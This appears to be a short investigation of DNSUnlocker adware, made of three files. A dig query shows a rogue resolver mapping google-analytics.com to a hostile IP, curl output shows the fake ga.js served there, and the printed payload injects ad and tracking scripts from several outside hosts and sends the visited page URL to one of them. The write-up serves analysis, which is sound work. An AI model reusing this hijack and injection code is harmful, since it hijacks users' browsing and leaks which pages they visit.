01-dns-query.txt

$ dig google-analytics.com @82.163.143.172

; <<>> DiG 9.8.3-P1 <<>> google-analytics.com @82.163.143.172
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23476
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google-analytics.com.		IN	A

;; ANSWER SECTION:
google-analytics.com.	300	IN	A	82.163.143.94

;; Query time: 119 msec
;; SERVER: 82.163.143.172#53(82.163.143.172)
;; WHEN: Sun Apr 17 21:43:27 2016
;; MSG SIZE  rcvd: 54

02-bad-http-server.js

$ curl http://82.163.143.94/ga.js -HHost:google-analytics.com|tail -2
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 41237    0 41237    0     0  79834      0 --:--:-- --:--:-- --:--:-- 79762

/* DNS Quality Check */ if (typeof dns_qc === 'undefined') { var dns_qc = document.createElement('script'); dns_qc.type='text/javascript'; dns_qc.src='http://m56.dnsqa365.com/QualityCheck/ga.js'; var dns_qc_head = document.getElementsByTagName('head')[0]; if (dns_qc_head) { dns_qc_head.appendChild(dns_qc); } }

03-payload.js

$ curl http://m56.dnsqa365.com/QualityCheck/ga.js
/* 56/6/AT  */
window._rvz9560x1009 = {'publisher_subid':'56001', 'addonname': 'DNSUnlocker'};
window._rvz9560x1010 = {'publisher_subid':'56001', 'addonname': 'DNSUnlocker'};
(function() {
  var gtprv = {
    isIE : function () { var myNav = navigator.userAgent.toLowerCase(); return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false; },
    loadJS : function (gturl) {
      var dns_qcs8 = document.getElementsByTagName('script')[0];
      var dns_qc8 = document.createElement('script'); dns_qc8.type='text/javascript';
      dns_qc8.src=('https:' == document.location.protocol ? 'https://' : 'http://')+gturl;
      dns_qcs8.parentNode.insertBefore(dns_qc8, dns_qcs8);
    },
    loadJSON: function (callback) {
        var xobj = new XMLHttpRequest();
        xobj.overrideMimeType("application/json");
        xobj.open('GET', ('https:' == document.location.protocol ? 'https://' : 'http://')+'m56.dnsqa365.com/QualityCheck/x.txt', true);
        xobj.onreadystatechange = function () {
          if (xobj.readyState == 4) {
            if (xobj.status == "200") {
              callback(xobj.responseText);
            } else {
              callback('0');
            }
          }
        };
        xobj.send(null);
    },
    init : function() {
      var isMSIE = /*@cc_on!@*/0;
      if (gtprv.isIE () == 8) return; // IE 8 not supported
      if (isMSIE && gtprv.isIE()!= 9 && document.all && !document.querySelector) return; // IE 7 or lower not supported
      gtprv.loadJSON(function(response) {
        // Parse JSON string into object
        var actual_JSON = JSON.parse(response);
        if (actual_JSON) actual_JSON=parseInt(actual_JSON);
        else actual_JSON=0;
        if (actual_JSON==0) {
		if (window.name.indexOf('_odctxdsp') == 0) {
			//do nothing
		} else if ((window.name || '').match(/^(a652c|ld893)_/))  {
			gtprv.loadJS('cdncache-a.akamaihd.net/sub/b156ae9/56001/l.js?pid=2204&ext=DNSUnlocker');
		} else {
          		gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gteamrs.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
          		gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gteamqc.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
			if(window.top==window.self) {
                                var gtURL = encodeURIComponent(window.location.protocol + "//" + window.location.host + window.location.pathname);
                                gtprv.loadJS('asrvvv-a.akamaihd.net/get?addonname=DNSUnlocker&clientuid=&subID=56001&affid=9560&subaffid=1011&href='+gtURL);
                        }
          		gtprv.loadJS('cdncache-a.akamaihd.net/sub/b156ae9/56001/l.js?pid=2204&ext=DNSUnlocker');
          		gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtinimgtest.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
			gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtsticky.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
			gtprv.loadJS('cdncache-a.akamaihd.net/sub/b156ae9/56001/l.js?pid=2202&ext=DNSUnlocker');
			//gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtxt.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
                        //gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtjob.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
          		if(window.top==window.self) {
          			gtprv.loadJS('grl.qomesn.com/sd/9560/1009.js');
				gtprv.loadJS('asrv-a.akamaihd.net/sd/9560/1010.js');
          		}
			//
          		gtprv.loadJS('3hub.org/lib?pid=75041&said=56001&san=DNSUnlocker&met=1|0');
			//
			if('600553'.length === 0) {
				// do nothing
			} else {
                           if(window.top==window.self) {
                                var lbscript = document.createElement("script");
                                lbscript.src = "//d32zx4lhje2crr.cloudfront.net/?tid="+ (location.protocol == "https:" ? "600553" : "600552");
                                lbscript.id = "ahjkjgf";
                                lbscript.setAttribute("bname", "DNSUnlocker");
                                document.getElementsByTagName("head")[0].appendChild(lbscript);
                           }
			}
                        //
		}
        }
      });
    }
  }
  gtprv.init();
})();